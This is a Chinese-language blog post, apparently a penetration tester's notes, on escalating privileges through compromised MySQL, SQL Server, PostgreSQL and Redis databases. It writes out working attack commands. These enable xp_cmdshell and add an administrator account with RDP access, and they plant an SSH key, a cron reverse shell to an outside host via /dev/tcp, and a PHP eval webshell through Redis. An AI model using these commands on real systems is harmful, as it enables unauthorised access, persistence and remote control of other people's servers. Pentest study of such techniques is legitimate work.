1. 程式人生 > 資料庫 >滲透過程中的資料庫提權思路

滲透過程中的資料庫提權思路

在滲透測試中,我們可能誤打誤撞得到了幾個粗心管理員的資料庫密碼,當我們一臉欣喜的連線上後,卻發現庫子裡一清二白,或者找不到跟web專案的對應關係,那就只能從資料庫層面入手,一步步奪取目標主機許可權。
下面總結了一下幾種常見資料庫的提權思路。


mysql

作為目前使用人數最多也是最受歡迎的資料庫,在大型的滲透測試中,很有可能就被掃出一兩個弱密碼,但時代早就變了,mysql早已已經不是那個寫個webshell就直接root的傻白甜了,secure-file-priv直接將無數hacker阻於門外,雖然現在網上還有許多UDF和mof的提權方法,但後者適用範圍極其嚴苛:

  1. windows2003server之前版本
  2. 可寫入c:/windows/system32/wbem/mof許可權
  3. secure-file-priv引數不為null

並且就算寫入成功後也有種種可能連線不上,所以建議先寫個ping指令碼測一測,具體poc會放在下一篇部落格。
UDF版本的也沒好到哪去,還是secure-file-priv的鍋,大部分資料庫都沒有寫入外掛路徑的許可權。
現在來看最靠譜的可能是寫日誌獲取web shell,當然限制也很多:

  1. 目標站點搭載web應用
  2. 具有對網站根目錄寫入的許可權

總結來說就是一句話:mysql提權,看命(5.7版本以前的除外)

sqlserver

作為同樣受歡迎的老牌資料庫,mssql明顯友好的多,利用xp_cmdshell可以解決絕大部分資料庫,具體命令如下:

#開啟xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
 
#關閉xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure

#新增使用者
exec master..xp_cmdshell 'net user test test. /add' 新增使用者test,密碼test
exec master..xp_cmdshell 'net localgroup administrators test add' 新增test使用者到管理員組
 
 #開啟rdp埠
 exec master..xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'

一把梭,沒什麼好說的

postgresql

這也是我之前一直忽視的一個數據庫,最近才發現postgres提權格外好用,基本通殺全版本,再加上它優良的弱密碼傳統,如果不是postgres組使用者許可權太低,postgresql絕對能排資料庫組第一,不過滲透中利用它讀讀目標上的敏感資料啥的也是極好的。
同樣UDF提權,失敗可能性很小,就是需要注意分位元組傳輸,具體指令碼同樣放在之後的部落格裡。

redis

上古遺留問題,現在利用可能性不是很大,很少會有root許可權下開放的redis了,拿到後還是先找web的根目錄最要緊。
利用方式如下:(前提是redis存在未授權訪問或已知redis密碼)

  1. 寫入ssh公鑰(需root許可權)
     #將公鑰寫入key.txt檔案中(前後用\n換行,避免和redis裡其他快取資料混合)
    (echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt
    
    #再將key.txt檔案內容寫入redis庫中
    cat /root/.ssh/key.txt | redis-cli -h *ip* -x set pub
    
    #設定redis的dump檔案路徑為/root/.ssh且檔名為authorized_keys,注意: redis 可以建立檔案但無法建立目錄,所以,redis 待寫入檔案所在的目錄必須事先存在。出現如下圖錯誤是因為目標靶機不存在.ssh目錄(預設沒有,需要生成公、私鑰或者建立ssh連線時才會生成)
    config set dir /root/.ssh
    ok
    config set dbfilename authorized_keys
    ok
    #測試免密登入
    ssh -i /root/.ssh/id_isa ip
    
  2. 利用cron計劃任務執行命令反彈shell(需root許可權)
    root@kali:~# redis-cli -h 192.168.10.128
    192.168.10.128:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.10.101/6666 0>&1\n"
    OK
    192.168.10.128:6379> config set dir /var/spool/cron/
    OK
    192.168.10.128:6379> config set dbfilename root
    OK
    192.168.10.128:6379> save
    OK
    
  3. 寫入webshell(需要知道web應用的絕對路徑)
	root@kali:~# redis-cli -h 192.168.10.128
	192.168.10.128:6379> set x “<?php @eval($_GET("passer"))>”
	OK
	192.168.10.128:6379> config set dir /var/www/html/
	OK
	192.168.10.128:6379> config set dbfilename test.php
	OK
	192.168.10.128:6379> save
	OK

之後即可在網站url根目錄後新增test.php連線。
總結:redis提權也是一件費力不討好的事,利用難度較大,可結合ssrf針對性利用。

持續更新中,主要以我滲透過程中遇到的資料庫為主,總結一下實戰經驗,memecache之類的,以後實戰中遇到後會進行新增